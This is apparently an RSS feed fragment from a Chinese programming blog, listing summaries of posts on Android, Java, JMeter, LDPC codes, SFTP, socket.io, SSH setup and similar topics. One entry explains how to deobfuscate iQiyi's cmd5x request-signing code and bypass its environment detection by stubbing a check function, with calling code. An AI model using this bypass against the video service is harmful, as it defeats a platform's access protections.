      <description>文章目录 前言一、activity简介二、activity知识点1.生命周期2.生命周期示例验证2.activity的启动模式3.activity的启动模式示例1.在 AndroidMainifest 设置2.通过Intent设置1.在 AndroidMainifest 设置的实例 4.activity间的数据传递与回传 前言 本文主要是整理Android四大组件之一的activity的相关知识；&#xA;其他相关内容可以跳转至 Android学习与巩固查看&#xA;一、activity简介 Activity是Android四大组件之一，主要功能就是实现一个可以让用户与程序交互的窗口。一般来说一个activity表示一个与用户交互的界面；&#xA;二、activity知识点 1.生命周期 activity的生命周期代表了一个activity从产生到被销毁的整个流程，包含了七个周期，如图：&#xA;1. onCreate()&#xA;首次创建 Activity 时调用。在此方法中执行资源绑定，视图创建等静态界面初始化；此时用户不可见。在一个activity的生命周期中只会调用一次。&#xA;2. onStart()&#xA;当前Activity由用户不可见变为用户可见时调用，但是此时用户还无法进行交互。&#xA;3. onResume()&#xA;当前Activity状态属于运行状态，此时Activity获得焦点，用户可以与之进行交互。&#xA;4.onPause()&#xA;当另外一个activity覆盖当前的acitivty时，此时当前activity会进入到onPouse()方法中，当前activity是可见的，但不能与用户交互状态。&#xA;5.onStop()&#xA;onPouse()方法完成之后，此时activity进入onStop()方法，此时activity对用户是不可见的，但是Activity还未被销毁，在系统内存紧张的情况下，有可能会被系统进行回收。所以一般在当前方法可做资源回收。如果重新启动activity将进入onRestart（）方法&#xA;6.onDestroy()&#xA;此方法回调时表示Activity被销毁，如果需要重启Activity需要重新新建，绑定资源及从onCreate()开始执行。&#xA;7.onRestart()&#xA;重新启动已经停止但未被销毁的 Activity 时调用。重新将Activity显示出来。调用顺序onPouse()-&amp;gt;onStop()-&amp;gt;onRestart()-&amp;gt;onStart()-&amp;gt;onResume().&#xA;2.生命周期示例验证 新建项目来看看app的各个状态所经历的生命周期；示例代码如下：&#xA;MainActivity&#xA;public class MainActivity extends AppCompatActivity { private Button btDialog; private Context context; @Override protected void onCreate(Bundle savedInstanceState) { Log.e(&#34;MainActivity&#34;,&#34;onCreate()&#34;); super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); context = this; btDialog = (Button) findViewById(R.id.bt_dialog); btDialog.setOnClickListener(new View.</description>
    </item>
    <item>
      <title>Java基础篇——Java运算符</title>
      <link>https://bchobby.github.io/posts/a177cab0d20df9ab4318e292ba64c6b4/</link>
      <pubDate>Mon, 29 Aug 2022 23:32:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a177cab0d20df9ab4318e292ba64c6b4/</guid>
      <description>Java运算符按功能可分为：算数运算符、关系运算符、逻辑运算符、位运算符、赋值运算符和条件运算符&#xA;目录&#xA;算数运算符&#xA;关系运算符&#xA;逻辑运算符&#xA;位运算符&#xA;赋值运算符 条件运算符&#xA;运算符的优先次序&#xA;算数运算符 算术运算符包括通常的加（+）、减（-）、乘（*）、除（/）、取模（%），完成整数型和浮点型数据的算术运算&#xA;许多语言中的取模运算只能用于整数型，Java对此做了扩展，它允许对浮点数进行取模操作。例如，3%2 的结果是 1, 15.2%5 的结果是 0.2。取模操作还可以用于负数，结果的符号与第一个操作数的符号相同，例如，5%-3 的结果是 2，-5%3 的结果是-2。&#xA;此外，算术运算符还有“++”和“--”两种，分别称为加1和减1运算符。这两种运算符有前缀形式和后缀形式，含有有所不同。例如，i++ 和 ++i 的执行顺序是不一样的，i++ 在 i 使用之后再 +1，++i 在 i 使用之前先 +1。i-- 和 --i 的情况于此类似。&#xA;关系运算符 关系运算符用来比较两个值，包括大于（&amp;gt;）、小于（&amp;lt;）、大于等于（&amp;gt;=）、小于等于（&amp;lt;=）、等于（==）和不等于（!=）6种。关系运算符都是二元运算符，也就是每个运算符都带有两个操作数，运算的结果是一个逻辑值。Java允许“==”和“!=”两种运算符用于任何数据类型。例如，既可以判断两个数的值是否相等，也可以判断对象或数组的实例是否相等。判断实例时比较的是两个对象在内存中的引用地址是否相等。&#xA;逻辑运算符 逻辑运算符包括逻辑与（&amp;amp;&amp;amp;）、逻辑或（||）和逻辑非（!）。前两个是二元运算符，后一个是一元运算符。Java对逻辑与和逻辑或提供“短路”功能，也就是在进行运算时，先计算运算符左侧的表达式的值，如果使用该值能得到整个表达式的值，则跳过运算符右侧表达式的计算，否则计算运算符右侧表达式，并得到整个表达式的值&#xA;位运算符 位运算符用来对二进制位进行操作，包括按位取反（~）、按位与（&amp;amp;）、按位或（|）、异或（^）、右移（&amp;gt;&amp;gt;）、左移（&amp;lt;&amp;lt;）和无符号右移（&amp;gt;&amp;gt;&amp;gt;）。位运算符只能对整数型和字符型数据进行操作。 1. 取反（~）&#xA;参加运算的一个数据，按二进制位进行“取反”运算。&#xA;运算规则：~1=0； ~0=1；&#xA;即：对一个二进制数按位取反，即将0变1，1变0。&#xA;2. 按位与（&amp;amp;）&#xA;参加运算的两个数据，按二进制位进行“与”运算。&#xA;运算规则：0&amp;amp;0=0; 0&amp;amp;1=0; 1&amp;amp;0=0; 1&amp;amp;1=1；即：两位同时为“1，结果才为“1，否则为0。&#xA;例如：3&amp;amp;5 即 0000 0011 &amp;amp; 0000 0101 = 0000 0001 因此，3 &amp;amp; 5的值得1&#xA;3. 按位或（|）</description>
    </item>
    <item>
      <title>性能测试：工具篇：jmeter-命令行使用</title>
      <link>https://bchobby.github.io/posts/81b80fa02aed94e64361ef54483da3ff/</link>
      <pubDate>Mon, 29 Aug 2022 18:52:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81b80fa02aed94e64361ef54483da3ff/</guid>
      <description>jmeter命令行使用&#xA;jmeter在Windows或macOS启动都会有一个GUI界面的，一般GUI界面都用于脚本的编写和调试。通常对编写好和调试更好的脚本会放在服务器上利用命令来运行。&#xA;首先，利用GUI界面编写并调试成功的一个简单的压测脚本，图片如下：&#xA;其次，使用命令行模式执行脚本，命令如下：&#xA;PS E:\git_code\python-code\jmeterProject&amp;gt; jmeter -n -t .\测试登录.jmx -l report.jtl -e -o report Creating summariser &amp;lt;summary&amp;gt; Created the tree successfully using .\测试登录.jmx Starting standalone test @ Mon Aug 29 17:45:25 CST 2022 (1661766325874) Waiting for possible Shutdown/StopTestNow/HeapDump/ThreadDump message on port 4445 summary = 5 in 00:00:01 = 5.6/s Avg: 32 Min: 22 Max: 40 Err: 0 (0.00%) Tidying up ... @ Mon Aug 29 17:45:26 CST 2022 (1661766326995) .</description>
    </item>
    <item>
      <title>5G NR LDPC编译码汇总</title>
      <link>https://bchobby.github.io/posts/0de008960a835775472c2820cdc20f43/</link>
      <pubDate>Mon, 29 Aug 2022 18:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0de008960a835775472c2820cdc20f43/</guid>
      <description>1.LDPC概述&#xA;低密度校验码（LDPC码）是一种前向纠错码，LDPC码最早在20世纪60年代由Gallager在他的博士论文中提出，但限于当时的技术条件，缺乏可行的译码算法，此后的35年间基本上被人们忽略，其间由Tanner在1981年推广了LDPC码并给出了LDPC码的图表示，即后来所称的Tanner图。1993年Berrou等人发现了Turbo码，在此基础上，1995年前后MacKay和Neal等人对LDPC码重新进行了研究，提出了可行的译码算法，从而进一步发现了LDPC码所具有的良好性能，迅速引起强烈反响和极大关注。经过十几年来的研究和发展，研究人员在各方面都取得了突破性的进展，LDPC码的相关技术也日趋成熟，甚至已经开始有了商业化的应用成果，并进入了无线通信等相关领域的标准。&#xA;LDPC码是一种分组码，其校验矩阵只含有很少量非零元素。正是校验矩阵的这种稀疏性，保证了译码复杂度和最小码距都只随码长呈现线性增加。除了校验矩阵是稀疏矩阵外，码本身与任何其它的分组码并无二致。其实如果现有的分组码可以被稀疏矩阵所表达，那么用于码的迭代译码算法也可以成功的移植到它身上。然而，一般来说，为现有的分组码找到一个稀疏矩阵并不实际。不同的是，码的设计是以构造一个校验矩阵开始的，然后才通过它确定一个生成矩阵进行后续编码。&#xA;译码方法是LDPC码与经典的分组码之间的最大区别。经典的分组码一般是用ML类的译码算法进行译码的，所以它们一般码长较小，并通过代数设计以减低译码工作的复杂度。但是LDPC码码长较长，并通过其校验矩阵H的图像表达而进行迭代译码，所以它的设计以校验矩阵的特性为核心考虑之一。&#xA;总结一下：&#xA;LDPC编码从本质上是一种线性分组码，与经典的线性分组码相比的不同之处在于：&#xA;(1)LDPC通过构造校验矩阵H实现&#xA;(2)LDPC采用迭代译码算法&#xA;(3)LDPC码没有固定的结构&#xA;LDPC校验矩阵需满足如下要求：&#xA;(1)稀疏性：即校验矩阵中含有极少数量的1&#xA;(2)行列约束(R-C)：任意两行或两列同为非零元素的元素个数不超过1&#xA;2.LDPC校验矩阵的图形表示——Tanner图&#xA;Tanner图是一种二部图，其中的节点可分为两部分&#xA;(1)校验节点(约束节点)——CN&#xA;(2)变量节点(比特节点)——VN&#xA;当校验矩阵中的元素不为0时第i个校验节点与第j个比特节点相连接&#xA;每个校验节点与一个校验方程相对应&#xA;每个变量节点与一个编码比特相对应&#xA;由校验矩阵生成对应Tanner图举例如下：&#xA;3.非规则LDPC校验矩阵的引入——度分布多项式&#xA;非规则LDPC校验矩阵：列数与列重的比值不等于行数与行重的比值&#xA;由于非规则LDPC校验矩阵的上述性质，为衡量其对应Tanner图的各对应节点度的分布情况（若为规则码，各节点度满足均匀分布）引入度分布多项式。从边的角度来说：&#xA;4. 5G-NR中LDPC编码方法&#xA;(1)BG选择&#xA;根据TBS大小（记作A）及码率（记作R）确定LDPC基本图（BaseGraph，BG）选择和TB-CRC的长度。BG1适用于长码块高码率。BG2适用于短码块低码率。细节参照协议TS 38.212-7.2.1。&#xA;(2)LDPC校验矩阵获取&#xA;5. LDPC译码 LDPC独特的消息传递译码算法是其区别于一般的线性分组码的主要方面，也正是这样的译码方法，使得在即使码长很长的情况下，其译码算法的复杂度仍在可控的范围内。而且，码长越长，其译码算法的性能越好。由此，为讲清楚消息传递译码算法，首先就需要知道其传递的“消息”究竟是什么。&#xA;1)外信息传递&#xA;为了讲清外信息传递的概念，首先思考这样的问题：&#xA;在上图中所示的士兵排列网络中，每个士兵只能与其相邻的士兵互通消息。那么通过怎样的消息传递方式才能使所有士兵得知士兵的总人数？&#xA;我们很容易想到通过“报数”的方法解决，当士兵排成一排时，从士兵队列的两端同时报数，每个人将从两个方向得到的士兵数加1传到另一端。如此一来，每个士兵知道了它的两端各有多少人，也就知道了士兵的总数。&#xA;其实上图中已经使用了“外信息”的思想。因为对于每个士兵而言，其最终得到的士兵数量信息是“6”，而他向其他士兵传递消息时，传递的数值为其已知的总信息减去目标士兵向他传递的信息。由此，每个士兵相当于向其相邻的士兵传递了“外信息”。&#xA;当士兵排列的拓扑发生变化时，该方法同样适用，如下图：&#xA;在上图中，每个士兵得到的最终士兵数量信息为“8”，而任意一个士兵向其他士兵传递消息时，其数值相当于“外信息”。&#xA;但是，当网络中有“环“存在时，该消息传递方法会出现问题，如下图所示：&#xA;可以看出，当消息在右端的环中传播时，其数值会无限地增长下去，造成消息传递的错误，这也是LDPC校验矩阵设计时，尽量避免产生“环“的原因&#xA;总结起来，通过外信息传递的方法，可以使一个分布式网络中的每个节点得知整个网络中的一些信息。反过来讲，当消息传递完成时，等效于整个网络将它的信息传递给了每个节点。&#xA;2)外信息传递译码器&#xA;若将上述问题中的每个士兵换成一个个级联的译码器，将各士兵间传递的“士兵数量”消息改变为各变量节点的“LLR信息”，那么这就是消息传递译码的大体结构。下图所示为每两个级联的译码器间传递消息的示意图：&#xA;3)LDPC的SPA译码器&#xA;LDPC的SPA算法是一种典型的以外信息传递为核心的译码算法&#xA;LDPC编码中，由于校验矩阵与tanner图对应关系的引入，各校验节点与变量节点可以看作级联的译码器，其中每个变量节点可以看作一个REP(重复码)的译码器(因为多个校验节点为一个变量节点提供信息)，其示意图如下所示：&#xA;而对于每个校验节点，则相当于一个SPC(单奇偶校验码)码译码器，其示意图如下图所示：&#xA;总结：在SPA算法中，所有VN对其输入进行处理，并将外信息传递给它们相邻的校验节点，然后校验节点对其输入进行处理，并将外信息传递给与它们相邻的变量节点；从变量节点开始，重复这个过程，直到达到最大迭代次数或者满足某个准则进行及计算判决。&#xA;在SPA译码器的推导中，内在最优准则是基于符号的最大后验概率（MAP）准则，当图上的环较大时，估计非常精确，可达到近似最优（MAP）性能。另外，SPA的演进基于独立性假设：每个节点从它的相邻节点接收到的LLR都是独立的。显然，当迭代次数超过Tanner图中围长的一半时，这种独立性假设不成立。</description>
    </item>
    <item>
      <title>读取服务器文件，并进行移动-ChannelSftp</title>
      <link>https://bchobby.github.io/posts/59069e92256ce53d43f632460d0938cf/</link>
      <pubDate>Mon, 29 Aug 2022 17:10:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59069e92256ce53d43f632460d0938cf/</guid>
      <description>要求：&#xA;读取服务器上某个目录的文件下的txt的内容，读取里面的数据，进行处理，保存入库。保存后，把文件移到该目录下的bak目录。&#xA;处理：&#xA;要操作服务器文件，需要使用 ChannelSftp，文档&#xA;常用方法： put()： 文件上传&#xA;get()： 文件下载&#xA;cd()： 进入指定目录&#xA;ls()： 得到指定目录下的文件列表&#xA;rm()： 删除指定文件&#xA;rename() 移动文件&#xA;java代码： 引用： gradle: // 添加sftp的工具包 implementation group: &#39;com.jcraft&#39;, name: &#39;jsch&#39;, version: &#39;0.1.55&#39; maven: &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.jcraft&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jsch&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.1.55&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 业务 CustomerService @Slf4j @Service public class CustomerService { public void readFile() throws SftpException { SftpConfig sftpConfig = SftpUtils.getSftpConfigVal(); ChannelSftp sftp = SftpUtils.connect(sftpConfig); String path = sftpConfig.getPath(); String newpath = path + &#34;/bak&#34;; // 判断文件路径是否存在 SftpUtils.</description>
    </item>
    <item>
      <title>socket.io常见用法</title>
      <link>https://bchobby.github.io/posts/3bfbcaf1b03b812b9d4b076a114c11c9/</link>
      <pubDate>Mon, 29 Aug 2022 14:48:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3bfbcaf1b03b812b9d4b076a114c11c9/</guid>
      <description>io.on(&#39;connect&#39;, onConnect);&#xA;function onConnect(socket){&#xA;// 只发给sender。 sending to the client&#xA;socket.emit(&#39;hello&#39;, &#39;can you hear me?&#39;, 1, 2, &#39;abc&#39;);&#xA;// 发给所有人，除了sender。 sending to all clients except sender&#xA;socket.broadcast.emit(&#39;broadcast&#39;, &#39;hello friends!&#39;);&#xA;// 发给game房间所有人，除了sender。 sending to all clients in &#39;game&#39; room except sender&#xA;socket.to(&#39;game&#39;).emit(&#39;nice game&#39;, &#34;let&#39;s play a game&#34;);&#xA;// 发给game1和/或game2所有人，除了sender。 sending to all clients in &#39;game1&#39; and/or in &#39;game2&#39; room, except sender&#xA;socket.to(&#39;game1&#39;).to(&#39;game2&#39;).emit(&#39;nice game&#39;, &#34;let&#39;s play a game (too)&#34;);&#xA;// 发给game房间所有人，包含sender。 sending to all clients in &#39;game&#39; room, including sender</description>
    </item>
    <item>
      <title>前端如何使用hutool生成的sm2公私钥</title>
      <link>https://bchobby.github.io/posts/fde424fe2880b6053ba22bbba90e6ff8/</link>
      <pubDate>Mon, 29 Aug 2022 14:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fde424fe2880b6053ba22bbba90e6ff8/</guid>
      <description> 后台可以通过使用hutool中的SmUtil类动态生成公钥私钥，将公钥私钥提供给前端进行加解密，前端基于sm-crypto依赖，可以通过sm2.doDecrypt和sm2.doRecrypt方法进行加解密，介绍在网上很多，再此不过多赘述。&#xA;SmUtil生成的公钥私钥拼接了一些其它数据，在前端无法直接使用，需要进行一定的转化，数据的加解密也需要做处理。&#xA;解密方式如下代码所示：&#xA;// 后台Sm2Util类返回的私钥字符串 const privateKeyBySm2Util = &#34;XXXXXXXXXXXXXXXXXXXXXXX&#34;; // 后台返回的加密数据 const dataByEncrypt = &#34;XXXXXXXXXXXXXXXXXXXXXXX&#34; // 前端真正可用的基于后台生成的私钥 const privateKey = privateKeyBySm2Util.split(&#34;047930770201010420&#34;)[1].split(&#39;a00a&#39;)[0] // 前端真正可用的基于后台生成的加密数据 const dataByKey = dataByEncrypt.substring(2,dataByEncrypt.length).toLowerCase() // 解密出来的数据 const data = sm2.doDecrypt(dataByKey, privateKey, 1) 加密方式如下代码所示：&#xA;// 后台Sm2Util类返回的公钥字符串 const publicKeyBySm2Util = &#34;XXXXXXXXXXXXXXXXXXXXXXX&#34;; // 待加密数据 const data = &#34;XXXXXXXXXXXXXXXXXXXXXXX&#34; // 前端真正可用的基于后台生成的公钥 const publicKey = publicKeyBySm2Util.split(&#34;034200&#34;)[1] // 加密的数据 const dataByEncrypt = sm2.doEncrypt(data, publicKey, 1) </description>
    </item>
    <item>
      <title>【论文阅读】Semi-supervised classification with graph convolutional networks</title>
      <link>https://bchobby.github.io/posts/8f0c144a64f9466221ac58573bacd44c/</link>
      <pubDate>Mon, 29 Aug 2022 14:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f0c144a64f9466221ac58573bacd44c/</guid>
      <description>论文地址：[1609.02907] Semi-Supervised Classification with Graph Convolutional Networks (arxiv.org)&#xA;引言 图神经网络GCN旨在解决的问题是“图中节点的分类问题，且数据集只有一小部分的节点有标签”，称之为“graph-based semi-supervised learning”。&#xA;这类问题在GCN之前的一种解决方法用如下公式表示：&#xA;这里的 L0是指有标签的那部分节点的分类损失，而 Lreg 是指对于没有标签的节点来讲，根据相邻节点的相似性，限制模型在无标签节点上的输出与和它相邻节点上的输出接近（ Aij 是邻接矩阵的元素）。这是个很强的假设，许多实际情况并不是这样的，因此GCN旨在消除这个显式的图正则化限制。&#xA;公式 GCN的方式是直接将图中节点的连接关系A（邻接矩阵）作为模型的输入直接参与计算，而不是像上面那个方法那样“稍微有些隐晦地利用”。&#xA;GCN的层之间的递推公式如下：&#xA;Hl~ 是神经网络第l层的激活输出， H0~ 就是 X （各个节点的值组成的矩阵）；&#xA;Wl 是可学习的权重矩阵；&#xA;A~=A+I ，是邻接矩阵再加上自连接，对角线元素从0变为1，表示每个节点和自身是连接着的；&#xA;D~ 是节点的度矩阵， Dii=∑j Aij ，代表与节点i直接连接的节点数（包括此节点自身）。&#xA;至于这个公式的来源，论文有提到推理过程，出发点是“图傅里叶变换、图卷积”，经过各种各样的简化（包括为了减少计算复杂度用切比雪夫多项式大致估算并做截断、利用神经网络尺度可学习的特性假设矩阵的最大特征值为2等），就得到了上述公式。&#xA;图傅里叶变换、图卷积我并不了解，是通过博客Dwzb：图傅里叶变换大致有了些了解，可参考。&#xA;GCN网络 损失的计算只在有标签的那部分节点上计算，不考虑无标签节点的输出。&#xA;此外，网络的输入中邻接矩阵A是在层与层的推进中是不变的（这与我之前的一个误解有关，我之前以为图神经网络是一种可以学习并输出图的连接结构的网络，这个假设导致刚开始看的时候总是理解不了，后来才醒悟GCN并不是为了学习图结构而设计，图结构必须是预先就知道并作为网络的输入。GCN不具备学习图结构的能力，只是对利用图结构更好更准确地对节点进行分类，解决的是分类问题。）&#xA;相关工作、实验、结果、讨论 （还没看）&#xA;工程实践用 作者公开了GCN的源码，地址：tkipf/pygcn: Graph Convolutional Networks in PyTorch (github.com)&#xA;一些带讲解的博客：&#xA;CODE 01: GCN on Pytorch - 知乎 (zhihu.com)&#xA;(1条消息) pytorch框架下—GCN代码详细解读_MelvinDong的博客-CSDN博客_gcn代码&#xA;此外，好像有一些与图数据、模型等相关的库，如Pytorch-Geometric、NYU的DeepGraphLibrary等，是从博客(1条消息) [PyG] 1.如何使用GCN完成一个最基本的训练过程(含GCN实现)_sooner高的博客-CSDN博客_gcn训练里看到的，以后有时间我要去学习了解下，说不定在用到的时候能省不少事。</description>
    </item>
    <item>
      <title>爱奇艺视频wasm转js分析，cmd5x算法脱离环境限制</title>
      <link>https://bchobby.github.io/posts/6efeac59a5dd832f99d08f0b97896c3f/</link>
      <pubDate>Mon, 29 Aug 2022 14:22:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6efeac59a5dd832f99d08f0b97896c3f/</guid>
      <description>爱奇艺视频wasm转js分析，cmd5x算法脱离环境限制 1.js代码扣取2.ast反混淆，平坦流3.脱离环境与调用 1.js代码扣取 文献1：XX视频H5解析分析过程&#xA;文献2：爱奇艺视频cmd5x解析算法的移植分析和实现（2019-08）&#xA;本篇文章建立在上面两篇文章的前提下，所以部分已经提到过的内容，就不再重复叙述&#xA;首先直接过滤视频信息接口&#xA;可以看到来自于pcweb.wonder.js，打开这个js&#xA;搜索【vf=】，只有一个结果，在生成之前下一个断点，重新加载网页。断点断下后可以看到，【r】参数是由【cmd5x】方法的得到，参数就是视频url的一部分。&#xA;进入cmd5x方法后，可以看到这个是webpack打包的js，使用了里面的第295个方法。那先把这个js下载，然后扣出来本地先测试一下。&#xA;在一般的webpack前面还有一段其他的函数，先手动删除，然后用之前的一键扣webpack来测试一下&#xA;非常漂亮，没有报错，跑一下导出函数是否正常&#xA;可惜报错了，这里出现了document，那么直接上jsdom。&#xA;可以出结果了，难道就这么简单？经过测试发现，生成的值和浏览器的不一样，这就是被检测node环境了&#xA;2.ast反混淆，平坦流 不着急，接下来单独把295的整个函数体拿出来调试&#xA;可以看到一开始有一个大数组，明显的ob混淆特征，用ast先去掉这个混淆看看&#xA;这时字符串都被还原回去了，但是还有很多了类似【“jxnRC” !== “fsFmd”】这样恒真或者恒假的代码，把这也处理一下&#xA;这时逻辑就更加清晰了，但是还有一些代码是在break或者return后面，是一定不会执行的废代码，也一起去掉吧&#xA;这时分析就更加方便了&#xA;通过上图可以确定，这个其实就是调用的wasm，但是网页并没有加载wasm文件，也没有把文件在写js中，哪里来的wasm呢？&#xA;实际上这个js是把wasm转换成了js，所有的逻辑都用js来完成&#xA;通过fd替换js文件后可以发现，js调用【cmd5x】方法实际就是调用的是【g】方法，这里的【g】方法应该理解成一个js层的方法&#xA;下面就可以分析出这个方法内部的逻辑，这里需要一个wasm调用的基本知识&#xA;1.首先是计算参数url的长度&#xA;2.然后申请申请长度+1的内存空间（因为字符串是以字节0结尾的，需要把这个算上）&#xA;3.然后把参数url复制到内存，然后调用【f】方法计算，这里的【f】应该理解为wasm层的方法&#xA;4.计算完成后释放之前申请的参数url的内存&#xA;5.然后把cmd5x计算的结果从内存中读出来，最后把这个计算结果的内存也释放掉&#xA;这里的重点明显就是这个【f】的函数了&#xA;wasm层的cmd5x函数绑定的是【ca】这个函数&#xA;但是【ca】函数这个控制流太恐怖了，有170+个case，直接分析明显是不明智的&#xA;3.脱离环境与调用 这里有一个点是，实际我们可以不分析这个【ca】函数，因为我们之前试过计算vf，是因为被检测了node的环境。但是wasm又无法直接操作BOM和DOM，如果wasm中要检测环境，这是一定要通过导入函数，才能进行检测的。所以，可以先分析一下调用到的所有导入函数。&#xA;这里的【bL】就是导入函数，就是参数的【b7】，也就是上面的【aI、L、M、aU、aV、aY、aX、aQ】&#xA;查看各个函数后发现，除了【aU】这个函数，其他都是非常短的，没有出现检测点&#xA;【aU】这个函数非常长，还有控制流，并且存在明显的检测点，所以这时应该分析的是这个函数。首先还是尝试使用ast去除控制流。过程稍微有点长，就不详细叙述&#xA;去除了控制流后，分析就简单很多，可以很明显的看出检测的地方。在我调试的时候，就发现了其中的秘密。我替换网页的js后发现，当环境检测正确时，这个函数的返回值必定是6，否则就会得出和浏览器不一致的结果。所以可以直接进行以下的修改&#xA;function aU() { return 6; } 此时再运行js可以发现，结果就和网页的一模一样了&#xA;js调用方法&#xA;const t = require(&#39;./295_decrypt&#39;); const vf = t.cmd5x(&#39;/dash?tvid=114869400&amp;amp;bid=300&amp;amp;vid=eac5b7e5c7d6c471a6635725f0173fdc&amp;amp;src=01010031010000000000&amp;amp;vt=0&amp;amp;rs=1&amp;amp;uid=1626142844&amp;amp;ori=pcw&amp;amp;ps=0&amp;amp;k_uid=49c360579e9a7cf874d599de913c6bff&amp;amp;pt=0&amp;amp;d=0&amp;amp;s=&amp;amp;lid=&amp;amp;cf=&amp;amp;ct=&amp;amp;authKey=b66ff0001e1568368db1f0827830ffeb&amp;amp;k_tag=1&amp;amp;ost=0&amp;amp;ppt=0&amp;amp;dfp=a11d64e2e196534268a0b9ab3908bffd86cec25e335c3269344667023b08b60afe&amp;amp;locale=zh_cn&amp;amp;prio=%7B%22ff%22%3A%22f4v%22%2C%22code%22%3A2%7D&amp;amp;pck=4aT95ShhWNgoEXxVzhFwU28qb6fXgiMIWS7d3DjB1t2KBKGj8m1Npt3LUz3KQauw35i99&amp;amp;k_err_retries=0&amp;amp;up=&amp;amp;qd_v=2&amp;amp;tm=1637337797663&amp;amp;qdy=a&amp;amp;qds=0&amp;amp;k_ft1=706436220846084&amp;amp;k_ft4=1162183859249156&amp;amp;k_ft5=262145&amp;amp;bop=%7B%22version%22%3A%2210.0%22%2C%22dfp%22%3A%22a11d64e2e196534268a0b9ab3908bffd86cec25e335c3269344667023b08b60afe%22%7D&amp;amp;ut=1&#39;); console.log(vf); python调用方法&#xA;首先安装依赖库 pip install node_vm2&#xA;def get_vf(url): from node_vm2 import NodeVM with open(&#39;295_decrypt.</description>
    </item>
    <item>
      <title>CentOS7开启ssh服务</title>
      <link>https://bchobby.github.io/posts/95ed7ded6e7ac8010bd6415e7d34ed45/</link>
      <pubDate>Mon, 29 Aug 2022 10:55:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95ed7ded6e7ac8010bd6415e7d34ed45/</guid>
      <description>一、开启ssh服务 1.先检查有没有安装ssh服务：rpm -qa | grep ssh&#xA;2.如果没有就安装openssh-server：yum install openssh-server&#xA;3.查看并修改ssh配置：vim /etc/ssh/sshd_config&#xA;ssd_config是sshd服务的配置文件，可在其中配置参数，登陆用户等，文件位置位于/etc/ssh/sshd_config，这里可以直接通过vi（不会vi编辑的自己查）命令打开文件进行主要参数的配置(把对应参数前面的警号去掉就可以了)：&#xA;（1）、Port 22，sshd服务的端口&#xA;（2）、Protocol 2，也就是外部连接的协议用ssh2，当然如果不设置也可。&#xA;（3）、PermitRootLogin no/yes,如果允许使用root登陆则设为yes,否则为no&#xA;（4）、PasswordAuthentication no/yes，no为不允许使用密码登陆，yes为允许使用密码登陆，一般如果用自己账户登录都用密码，所以这一项最好设为yes，否则会导致window中能ping通linux系统，但是ssh连接不上。&#xA;设置好后保存退出。&#xA;注：需要的vi命令如下：&#xA;vi /ect/ssh/sshd_config //打开文件 按i键 //进入vi编辑模式，能够更改文件 esc //编辑完文件后按esc退出编辑模式 shift+: //可以输入退出命令 q! //退出不保存 wq //退出并保存 4、启动ssh服务：/bin/systemctl start sshd.service&#xA;systemctl restart sshd.service //重启命令 systemctl start sshd.service //启动命令 5、检查ssh服务是否开启：ps -e | grep sshd&#xA;6、检查 22端口 是否开启：netstat -ntlp | grep 22&#xA;7、将ssh服务添加到自启动列表中：systemctl enable sshd.service&#xA;注：如果系统开启了防火墙，想要访问ssh，还要通过下一步开放ssh（22）端口&#xA;二、开启防火墙 由于CentOS7防火墙默认的是firewall，网上许多人说改成iptables（如果是用iptables的自己配置）。&#xA;首先，我们查看ssh所用的端口是否已经打开，这里我已22端口为例：&#xA;firewall-cmd --state //查看防火墙是否打开，打开为running firewall-cmd --zone=public --query-port=22/tcp //端口如果开放则为yes,否则为no 如果22端口没有开放，我们可以用以下两种方法解决：</description>
    </item>
    <item>
      <title>（附源码）springboot学生宿舍管理系统 毕业设计 211955</title>
      <link>https://bchobby.github.io/posts/c5ad6a3e2e070e5bd392e1dbb8cfce19/</link>
      <pubDate>Mon, 29 Aug 2022 10:36:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5ad6a3e2e070e5bd392e1dbb8cfce19/</guid>
      <description>摘 要&#xA;科技进步的飞速发展引起人们日常生活的巨大变化，电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用。信息时代的到来已成为不可阻挡的时尚潮流，人类发展的历史正进入一个新时代。在现实运用中，应用软件的工作规则和开发步骤，采用java技术建设学生宿舍管理系统。&#xA;本设计主要实现集人性化、高效率、便捷等优点于一身的学生宿舍管理系统，完成首页、用户管理（管理员、学生、宿管人员）更多管理（宿舍信息、宿舍报修、宿舍分配、宿舍通知）等功能模块。系统通过浏览器与服务器进行通信，实现数据的交互与变更。本系统通过科学的管理方式、便捷的服务提高了工作效率，减少了数据存储上的错误和遗漏。学生宿舍管理系统使用Java语言，采用基于 MVVM模式的spring boot技术进行开发，使用 Eclipse 2017 CI 10 编译器编写，数据方面主要采用的是微软的SQLserver数据库来作为数据存储媒介，配合前台HTML+CSS 技术完成系统的开发。&#xA;关键词 ：学生宿舍管理系统；java技术；Mysql数据库；&#xA;Abstract&#xA;The rapid development of scientific and technological progress has caused great changes in people&#39;s daily life. The rapid development of electronic information technology has popularized and applied the application level of electronic information technology in various fields. The advent of the information age has become an irresistible fashion trend, and the history of human development is entering a new era.</description>
    </item>
    <item>
      <title>如何从API中获取数据（一）</title>
      <link>https://bchobby.github.io/posts/6adf92b464548083b2e7429ee409b330/</link>
      <pubDate>Mon, 29 Aug 2022 06:35:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6adf92b464548083b2e7429ee409b330/</guid>
